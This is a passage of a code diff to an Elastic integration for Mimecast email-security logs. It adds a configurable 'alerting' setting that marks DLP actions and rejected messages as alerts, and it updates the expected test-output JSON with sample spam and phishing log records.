"events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(),
"cursor": {
"last": (
@@ -106,19 +106,19 @@ program: |
).format(time_layout.RFC3339)
),
},
- ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ?
- optional.of({
+ "last_page": want_more ?
+ dyn({
?"next": body.?meta.pagination.next,
- "data": req.data,
+ ?"data": req.?data,
})
:
- optional.none(),
+ dyn(null), // required to clear the incoming state
"token": {
"access_token": token.access_token,
"expires": token.expires,
},
- "want_more": has(body.?meta.pagination.next) && size(body.data) != 0,
- }
+ "want_more": want_more,
+ })
:
// Mimecast can return failure states with a 200. This
// is detected by a non-empty fail array at the root
@@ -155,6 +155,13 @@ program: |
)
)
)
+{{#if alerting}}
+_conf:
+ alerting:
+{{#each alerting as |a|}}
+ - {{a}}
+{{/each}}
+{{/if}}
tags:
{{#if preserve_original_event}}
- preserve_original_event
diff --git a/packages/mimecast/data_stream/dlp_logs/agent/stream/httpjson.yml.hbs b/packages/mimecast/data_stream/dlp_logs/agent/stream/httpjson.yml.hbs
index ed591c503aa..ca64acf25b4 100644
--- a/packages/mimecast/data_stream/dlp_logs/agent/stream/httpjson.yml.hbs
+++ b/packages/mimecast/data_stream/dlp_logs/agent/stream/httpjson.yml.hbs
@@ -42,6 +42,13 @@ response.pagination:
cursor:
next_date:
value: '[[.first_event.eventTime]]'
+{{#if alerting}}
+_conf:
+ alerting:
+{{#each alerting as |a|}}
+ - {{a}}
+{{/each}}
+{{/if}}
tags:
{{#if preserve_original_event}}
- preserve_original_event
diff --git a/packages/mimecast/data_stream/dlp_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/dlp_logs/elasticsearch/ingest_pipeline/default.yml
index df6903f7bd8..2f1c7f0e15a 100644
--- a/packages/mimecast/data_stream/dlp_logs/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/mimecast/data_stream/dlp_logs/elasticsearch/ingest_pipeline/default.yml
@@ -26,6 +26,10 @@ processors:
- set:
field: event.category
value: [email]
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx._conf?.alerting instanceof List && ctx._conf.alerting.contains(ctx.mimecast?.action)
- date:
description: Use 'mimecast.eventTime' as the '@timestamp'
@@ -90,6 +94,7 @@ processors:
description: Cleanup of repeated/unwanted/temporary fields.
field:
- mimecast
+ - _conf
ignore_missing: true
# Error handling
diff --git a/packages/mimecast/data_stream/dlp_logs/manifest.yml b/packages/mimecast/data_stream/dlp_logs/manifest.yml
index 7aa4393ea8f..f7b930e23c9 100644
--- a/packages/mimecast/data_stream/dlp_logs/manifest.yml
+++ b/packages/mimecast/data_stream/dlp_logs/manifest.yml
@@ -14,6 +14,14 @@ streams:
required: true
show_user: false
default: 5m
+ - name: alerting
+ type: text
+ title: Alert Actions
+ multi: true
+ required: true
+ show_user: true
+ default:
+ - block
- name: tags
type: text
title: Tags
@@ -78,6 +86,15 @@ streams:
multi: false
required: true
show_user: false
+ - name: alerting
+ type: text
+ title: Alert Actions
+ description: The set of DLP actions that should be classified as an alert. Possible values are delete, hold, bouce, smart_folder, disable_smart_folder, content_expire, meta_expire, stationery, disable_stationery, gcc, secure_delivery, delivery_route, document_policy, disable_document_policy, secure_messaging, disable_secure_messaging_policy, attach_set_policy, remove_email, tag, link, block, none, and notification.
+ multi: true
+ required: true
+ show_user: true
+ default:
+ - block
- name: tags
type: text
title: Tags
diff --git a/packages/mimecast/data_stream/message_release_logs/_dev/test/pipeline/test-release-logs.json-expected.json b/packages/mimecast/data_stream/message_release_logs/_dev/test/pipeline/test-release-logs.json-expected.json
index c0ae5d9d7ae..847d48d2402 100644
--- a/packages/mimecast/data_stream/message_release_logs/_dev/test/pipeline/test-release-logs.json-expected.json
+++ b/packages/mimecast/data_stream/message_release_logs/_dev/test/pipeline/test-release-logs.json-expected.json
@@ -26,7 +26,7 @@
"email"
],
"id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...",
- "kind": "event",
+ "kind": "alert",
"original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"released\":\"2015-11-25T14:49:18+00:00\",\"route\":\"inbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"displayableName\":\"ToName LastName\",\"emailAddress\":\"to_user@to_domain.tld\"}]}",
"reason": "Message contains undesirable content",
"risk_score": 12,
@@ -171,7 +171,7 @@
"email"
],
"id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...",
- "kind": "event",
+ "kind": "alert",
"original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"released\":\"2015-11-25T14:49:18+00:00\",\"route\":\"outbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"displayableName\":\"ToName LastName\",\"emailAddress\":\"to_user@to_domain.tld\"}]}",
"reason": "Message contains undesirable content",
"risk_score": 12,
@@ -316,7 +316,7 @@
"email"
],
"id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...",
- "kind": "event",
+ "kind": "alert",
"original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"released\":\"2015-11-25T14:49:18+00:00\",\"route\":\"inbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"emailAddress\":\"to_user@to_domain.tld\"}]}",
"reason": "Message contains undesirable content",
"risk_score": 12,
@@ -456,7 +456,7 @@
"email"
],
"id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...",
- "kind": "event",
+ "kind": "alert",
"original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"released\":\"2015-11-25T14:49:18+00:00\",\"route\":\"outbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"emailAddress\":\"to_user@to_domain.tld\"}]}",
"reason": "Message contains undesirable content",
"risk_score": 12,
@@ -598,7 +598,7 @@
"email"
],
"id": "eNpVj21LhEAUhf_LfN2VnRl1RpclCN...",
- "kind": "event",
+ "kind": "alert",
"original": "{\"attachments\":true,\"detectionLevel\":\"moderate\",\"fromEnv\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"fromHdr\":{\"displayableName\":\"FromName LastName\",\"emailAddress\":\"from_user@from_domain.tld\"},\"heldGroup\":\"IT Staff Global\",\"heldReason\":\"High-Confidence Impersonation Protection\",\"id\":\"eNpVj21LhEAUhf_LfN2VnRl1RpclCN...\",\"messageInfo\":\"Expired in queue - rejected by housekeeping\",\"operator\":\"admin@domain.tld\",\"policy\":\"Moderate Spam Detection\",\"rejectReason\":\"Message contains undesirable content\",\"route\":\"outbound\",\"size\":5043,\"spamProcessingDetail\":{\"dkim\":{\"allow\":true,\"info\":\"allow\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"greyEmail\":true,\"managedSender\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"allow\"},\"rbl\":{\"allow\":true,\"info\":\"allow\"},\"spamVerdict\":{\"categories\":[{\"name\":\"spam\",\"risk\":\"low\",\"subcategories\":[{\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}],\"name\":\"phishing\",\"risk\":\"low\"}]}],\"decision\":\"spam\",\"description\":\"\",\"risk\":\"low\"},\"spf\":{\"allow\":true,\"info\":\"allow\"}},\"spamScore\":12,\"status\":\"released\",\"subject\":\"Exclusive Offer - You don't want to miss this!\",\"to\":[{\"emailAddress\":\"to_user@to_domain.tld\"}]}",
"reason": "Message contains undesirable content",
"risk_score": 12,
@@ -863,7 +863,7 @@
"email"
],
"id": "eNoNjt0KgjAYQN9ltwlNMVZBF...",
- "kind": "event",
+ "kind": "alert",
"original": "{\"id\":\"eNoNjt0KgjAYQN9ltwlNMVZBF...\",\"status\":\"rejected\",\"rejectReason\":\"Message goes against email policies\",\"heldReason\":\"Default Spam Scanning Definition\",\"messageInfo\":\"Graymail\",\"released\":\"2024-10-28T14:16:51+0000\",\"operator\":{\"emailAddress\":\"monika.causholli@demo-int.elastic.mime-api.com\"},\"fromEnv\":{\"emailAddress\":\"yahoo-delivers@evaluation-fuzz.b41.one\"},\"fromHdr\":{\"emailAddress\":\"yahoo-delivers@evaluation-fuzz.b41.one\"},\"to\":[{\"emailAddress\":\"monika.causholli@demo-int.elastic.mime-api.com\"}],\"subject\":\"Yahoo! Newsletter, November 2001\",\"attachments\":true,\"route\":\"inbound\",\"size\":3670056,\"policy\":\"Default Spam Scanning Definition\",\"spamScore\":20,\"detectionLevel\":\"relaxed\",\"spamProcessingDetail\":{\"rbl\":{\"allow\":true,\"info\":\"\"},\"greyEmail\":false,\"spf\":{\"allow\":true,\"info\":\"allow\"},\"dkim\":{\"allow\":true,\"info\":\"unknown\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"none\"},\"managedSender\":{\"allow\":true,\"info\":\"unknown\"},\"verdict\":{\"decision\":\"spam\",\"description\":\"\",\"risk\":\"high\",\"categories\":[{\"name\":\"spam\",\"risk\":\"high\",\"subcategories\":[{\"name\":\"technology_feed\",\"risk\":\"high\",\"augmentations\":[]},{\"name\":\"content\",\"risk\":\"negligible\",\"augmentations\":[{\"name\":\"body\",\"risk\":\"negligible\"}]}]},{\"name\":\"graymail\",\"risk\":\"negligible\",\"subcategories\":[]}]}}}",
"reason": "Message goes against email policies",
"risk_score": 20,
@@ -1003,7 +1003,7 @@
"email"
],
"id": "eNoNjt0KgjAYQN9l10HTDCvow...",
- "kind": "event",
+ "kind": "alert",
"original": "{\"id\":\"eNoNjt0KgjAYQN9l10HTDCvow...\",\"status\":\"rejected\",\"rejectReason\":\"Message goes against email policies\",\"heldReason\":\"Default Spam Scanning Definition\",\"messageInfo\":\"Graymail\",\"released\":\"2024-10-28T14:18:43+0000\",\"operator\":{\"emailAddress\":\"vkamins@demo-int.elastic.mime-api.com\"},\"fromEnv\":{\"emailAddress\":\"erisk@pilot-meadow.b41.one\"},\"fromHdr\":{\"emailAddress\":\"erisk@pilot-meadow.b41.one\"},\"to\":[{\"emailAddress\":\"vkamins@demo-int.elastic.mime-api.com\"}],\"subject\":\"ERisk Essentials\",\"attachments\":false,\"route\":\"inbound\",\"size\":7473,\"policy\":\"Default Spam Scanning Definition\",\"spamScore\":9,\"detectionLevel\":\"relaxed\",\"spamProcessingDetail\":{\"rbl\":{\"allow\":true,\"info\":\"\"},\"greyEmail\":false,\"spf\":{\"allow\":true,\"info\":\"allow\"},\"dkim\":{\"allow\":true,\"info\":\"unknown\"},\"dmarc\":{\"allow\":true,\"info\":\"allow\"},\"permittedSender\":{\"allow\":true,\"info\":\"none\"},\"managedSender\":{\"allow\":true,\"info\":\"unknown\"},\"verdict\":{\"decision\":\"spam\",\"description\":\"\",\"risk\":\"medium\",\"categories\":[{\"name\":\"spam\",\"risk\":\"medium\",\"subcategories\":[{\"name\":\"technology_feed\",\"risk\":\"medium\",\"augmentations\":[]}]},{\"name\":\"graymail\",\"risk\":\"negligible\",\"subcategories\":[]}]}}}",
"reason": "Message goes against email policies",
"risk_score": 9,
@@ -1232,4 +1232,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/mimecast/data_stream/message_release_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/message_release_logs/agent/stream/cel.yml.hbs
index 73b3c64ceaf..4ff865bb97d 100644
--- a/packages/mimecast/data_stream/message_release_logs/agent/stream/cel.yml.hbs
+++ b/packages/mimecast/data_stream/message_release_logs/agent/stream/cel.yml.hbs
@@ -90,7 +90,7 @@ program: |
}
}).do_request().as(resp, resp.StatusCode == 200 ?
bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ?
- {
+ (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, {
"events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(),
"cursor": {
"last": (
@@ -106,19 +106,19 @@ program: |
).format(time_layout.RFC3339)
),
},
- ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ?
- optional.of({
+ "last_page": want_more ?
+ dyn({
?"next": body.?meta.pagination.next,
- "data": req.data,
+ ?"data": req.?data,
})
:
- optional.none(),
+ dyn(null), // required to clear the incoming state
"token": {
"access_token": token.access_token,
"expires": token.expires,
},
- "want_more": has(body.?meta.pagination.next) && size(body.data) != 0,
- }
+ "want_more": want_more,
+ })
:
// Mimecast can return failure states with a 200. This
// is detected by a non-empty fail array at the root
diff --git a/packages/mimecast/data_stream/message_release_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/message_release_logs/elasticsearch/ingest_pipeline/default.yml
index e6355ac8ed3..c91c540c635 100644
--- a/packages/mimecast/data_stream/message_release_logs/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/mimecast/data_stream/message_release_logs/elasticsearch/ingest_pipeline/default.yml
@@ -190,6 +190,10 @@ processors:
- set:
field: event.kind
value: event
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.rejectReason != null && ctx.mimecast.rejectReason != ''
- set:
field: event.reason
copy_from: mimecast.rejectReason
diff --git a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-docs-logs.log-expected.json b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-docs-logs.log-expected.json
index 04c8f4af79b..7c872d4a5b5 100644
--- a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-docs-logs.log-expected.json
+++ b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-docs-logs.log-expected.json
@@ -157,6 +157,7 @@
"email"
],
"created": "2017-05-26T19:24:18+0100",
+ "kind": "alert",
"original": "{\"Act\":\"Hld\",\"AttCnt\":0,\"AttNames\":\"\",\"AttSize\":0,\"Hld\":\"Spm\",\"IPInternalName\":\"false\",\"IPNewDomain\":\"false\",\"IPReplyMismatch\":\"false\",\"IPSimilarDomain\":\"false\",\"IPThreadDict\":\"false\",\"MsgId\":\"messageId@mssageId\",\"MsgSize\":56442,\"aCode\":\"015vTYvNN-Wn30v7M5MzNw\",\"acc\":\"C0A0\",\"datetime\":\"2017-05-26T19:24:18+0100\"}",
"outcome": "unknown",
"reason": "Spm"
@@ -281,6 +282,7 @@
"email"
],
"created": "2021-03-05T16:25:17+0000",
+ "kind": "alert",
"original": "{\"CustomerIP\":\"true\",\"IP\":\"0.0.0.0\",\"MimecastIP\":\"false\",\"MsgId\":\"<85485.121030516250700527@mta.uk.somewhere.tld>\",\"Recipient\":\"recipient@recipientdomain.tld\",\"Route\":\"Inbound\",\"Sender\":\"8jy0xzfjymioyjfjrajc@senderdomain.tld\",\"SenderDomain\":\"senderdomain.tld\",\"SenderDomainInternal\":\"false\",\"Size\":1648832,\"Subject\":\"Invoice Attached for payment\",\"Virus\":\"Anomali:Phishing\",\"acc\":\"C0A0\",\"datetime\":\"2021-03-05T16:25:17+0000\",\"fileExt\":\"xlsm\",\"fileMime\":\"application/vnd.ms-excel.sheet.macroEnabled.12\",\"fileName\":\"Invoice Attached for payment\",\"md5\":\"4dbe9dbfb53438d9ce410535355cd973\",\"sha1\":\"816b013c8be6e5708690645964b5d442c085041e\",\"sha256\":\"efe51c2453821310c7a34dca3054021d0f6d453b7133c381d75e3140901efd12\"}",
"outcome": "unknown"
},
@@ -328,6 +330,7 @@
"email"
],
"created": "2021-03-05T18:18:39+0000",
+ "kind": "alert",
"original": "{\"MsgId\":\"\",\"Recipient\":\"recipient@adomain.tld\",\"Route\":\"Inbound\",\"Sender\":\"sender@domain.tld\",\"SenderDomain\":\"bdomain.tld\",\"SourceIP\":\"0.0.0.0\",\"Subject\":\"Opportunity to become VP\",\"aCode\":\"azYwczFKNga_v1sYBuJOvA\",\"acc\":\"C0A0\",\"datetime\":\"2021-03-05T18:18:39+0000\",\"headerFrom\":\"sender@adomain\"}",
"outcome": "unknown"
},
@@ -370,6 +373,7 @@
"email"
],
"created": "2021-03-04T21:31:08+0000",
+ "kind": "alert",
"original": "{\"MsgId\":\"\",\"Recipient\":\"recipient@domain.tld\",\"Route\":\"Internal\",\"ScanResultInfo\":\"Blocked URL Category\",\"Sender\":\"sender@domain.tld\",\"Subject\":\"Coffee Briefing\",\"URL\":\"https://domain.com/login/\",\"UrlCategory\":\"Phishing & Fraud\",\"aCode\":\"vit87EEXMPaEyl22Lrb92A\",\"acc\":\"C46A75\",\"datetime\":\"2021-03-04T21:31:08+0000\"}",
"outcome": "unknown"
},
@@ -414,6 +418,7 @@
"email"
],
"created": "2020-07-27T00:39:59+0100",
+ "kind": "alert",
"original": "{\"Action\":\"Hold\",\"CustomName\":\"false\",\"CustomThreatDictionary\":\"false\",\"Definition\":\"Default Impersonation Definition\",\"Hits\":\"1\",\"IP\":\"0.0.0.0\",\"InternalName\":\"true\",\"MsgId\":\"\",\"NewDomain\":\"false\",\"Recipient\":\"recipient@domain\",\"ReplyMismatch\":\"false\",\"Route\":\"Inbound\",\"Sender\":\"sender@domain\",\"SimilarCustomExternalDomain\":\"false\",\"SimilarInternalDomain\":\"false\",\"SimilarMimecastExternalDomain\":\"false\",\"Subject\":\"Opportunity to become VP\",\"TaggedExternal\":\"false\",\"TaggedMalicious\":\"true\",\"ThreatDictionary\":\"false\",\"aCode\":\"q4qBpkoTOt-iStR7G44w3g\",\"acc\":\"C0A0\",\"datetime\":\"2020-07-27T00:39:59+0100\"}",
"outcome": "unknown"
},
@@ -535,6 +540,7 @@
"email"
],
"created": "2017-05-23T21:45:21+0100",
+ "kind": "alert",
"original": "{\"IP\":\"81.2.69.144\",\"Recipient\":\"auser@mimecast.com\",\"Route\":\"Inbound\",\"Sender\":\"from@domain.com\",\"SenderDomain\":\"domain.com\",\"Size\":378368,\"acc\":\"C1A1\",\"datetime\":\"2017-05-23T21:45:21+0100\",\"fileExt\":\"doc\",\"fileMime\":\"application/vnd.ms-office\",\"fileName\":\"1XCOLUMN.PVC\",\"md5\":\"7b52770644da336a9a59141c80807f37\",\"sha1\":\"a27850da9e7adfc8e1a94dabf2509fc9d65ee7e2\",\"sha256\":\"8746bb4b31ab6f03eb0a3b2c62ab7497658f0f85c8e7e82f042f9af0bb876d83\"}",
"outcome": "unknown"
},
@@ -565,4 +571,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v1-logs.log-expected.json b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v1-logs.log-expected.json
index 47cc9fbfaa2..0ca5b57616e 100644
--- a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v1-logs.log-expected.json
+++ b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v1-logs.log-expected.json
@@ -26,6 +26,7 @@
"email"
],
"created": "2021-10-18T09:02:43+0100",
+ "kind": "alert",
"original": "{\"Act\":\"Hld\",\"AttCnt\":0,\"AttNames\":null,\"AttSize\":0,\"Content-Disposition\":\"attachment; filename=\\\"process_20211018093329655.json\\\"\",\"Hld\":\"Spm\",\"MsgId\":\"\\u003cINX.164dae0719be95da77068c7d264.3e915.e7719.c78c.17c926a3231ace@newsletter.77onlineshop.eu\\u003e\",\"MsgSize\":157436,\"Sender\":\"bounce_9244+cdaahhimyaaaaagaad5ekqaaaaaaaaeribenpq@newsletter.77onlineshop.eu\",\"Subject\":\"Hi Sandra! Neue Styles eingetroffen! – Finde deinen Lieblings-Look!\",\"aCode\":\"HhuwRf_AOcuJZINE2ZgcKw\",\"acc\":\"ABC123\",\"datetime\":\"2021-10-18T09:02:43+0100\"}",
"outcome": "unknown",
"reason": "Spm"
@@ -73,6 +74,7 @@
"email"
],
"created": "2021-10-19T07:06:40+0100",
+ "kind": "alert",
"original": "{\"acc\":\"ABC123\",\"Delivered\":false,\"IP\":\"67.43.156.15\",\"RejType\":\"Recipient email address is possibly incorrect\",\"RejCode\":\"550\",\"AttCnt\":0,\"Dir\":\"Inbound\",\"ReceiptAck\":null,\"MsgId\":null,\"Subject\":null,\"Latency\":505,\"Sender\":\"<>\",\"datetime\":\"2021-10-19T07:06:40+0100\",\"Rcpt\":\"johndoe@example.com\",\"AttSize\":0,\"Attempt\":1,\"RejInfo\":\"5.4.1 Recipient address rejected: Access denied. AS(201806281) [LO2GBR01FT037.eop-gbr01.prod.protection.outlook.com]\",\"TlsVer\":\"TLSv1.2\",\"Cphr\":\"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\"Snt\":125,\"aCode\":\"29be076e-44cd-354d-a7c2-083d4a312371\",\"UseTls\":\"Yes\",\"Route\":\"Office365\",\"Content-Disposition\":\"attachment; filename=\\\"delivery_20211018093329655.json\\\"\"}",
"outcome": "failure",
"reason": "5.4.1 Recipient address rejected: Access denied. AS(201806281) [LO2GBR01FT037.eop-gbr01.prod.protection.outlook.com]"
@@ -248,6 +250,7 @@
"email"
],
"created": "2021-10-19T07:04:56+0100",
+ "kind": "alert",
"original": "{\"acc\":\"ABC123\",\"Delivered\":false,\"IP\":\"67.43.156.15\",\"RejType\":\"Recipient email address is possibly incorrect\",\"RejCode\":\"550\",\"AttCnt\":0,\"Dir\":\"Internal\",\"ReceiptAck\":null,\"MsgId\":\"<137188507-1634623494888@uk-mta-151.uk.mimecast.lan>\",\"Subject\":\"You have new held messages\",\"Latency\":1534,\"Sender\":\"johndoe@example.com\",\"datetime\":\"2021-10-19T07:04:56+0100\",\"Rcpt\":\"johndoejr@example.com\",\"AttSize\":0,\"Attempt\":1,\"RejInfo\":\"5.4.1 Recipient address rejected: Access denied. AS(201806281) [CWLGBR01FT010.eop-gbr01.prod.protection.outlook.com]\",\"TlsVer\":\"TLSv1.2\",\"Cphr\":\"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\"Snt\":147,\"aCode\":\"61dfe7da-4c6d-34e1-9667-69b04f0d564f\",\"UseTls\":\"Yes\",\"Route\":\"Office365\",\"Content-Disposition\":\"attachment; filename=\\\"delivery_20211018093329655.json\\\"\"}",
"outcome": "failure",
"reason": "5.4.1 Recipient address rejected: Access denied. AS(201806281) [CWLGBR01FT010.eop-gbr01.prod.protection.outlook.com]"
@@ -508,4 +511,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v2-logs.log-expected.json b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v2-logs.log-expected.json
index b136699e534..e58164c12fa 100644
--- a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v2-logs.log-expected.json
+++ b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v2-logs.log-expected.json
@@ -25,6 +25,7 @@
"email"
],
"created": "2024-11-13T11:57:39.314Z",
+ "kind": "alert",
"original": "{\"_offset\":71203,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"ycS8ZuP_MPunTsp6ErzBSA_1731499054\",\"fileExtension\":\"pdf\",\"fileName\":\"zero-day.pdf\",\"md5\":\"66f03bf072a74bb19db16c952ba3dc47\",\"processingId\":\"WGY_DvwBSSkQgHEEGRzoLfwigWn9mwWIGqiLvVrPqKc_1731499054\",\"sha1\":\"ce87cd86f9d9d3ed4c1138530ef259ce83638593\",\"sha256\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"subtype\":null,\"timestamp\":1731499059314,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -70,6 +71,7 @@
"email"
],
"created": "2024-11-14T22:04:26.023Z",
+ "kind": "alert",
"original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"aZDCqoMHYF9FcjJQ869Lbra7mJvvQIa-VaegH2O8C0g_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866023,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -115,6 +117,7 @@
"email"
],
"created": "2024-11-15T21:19:20.321Z",
+ "kind": "alert",
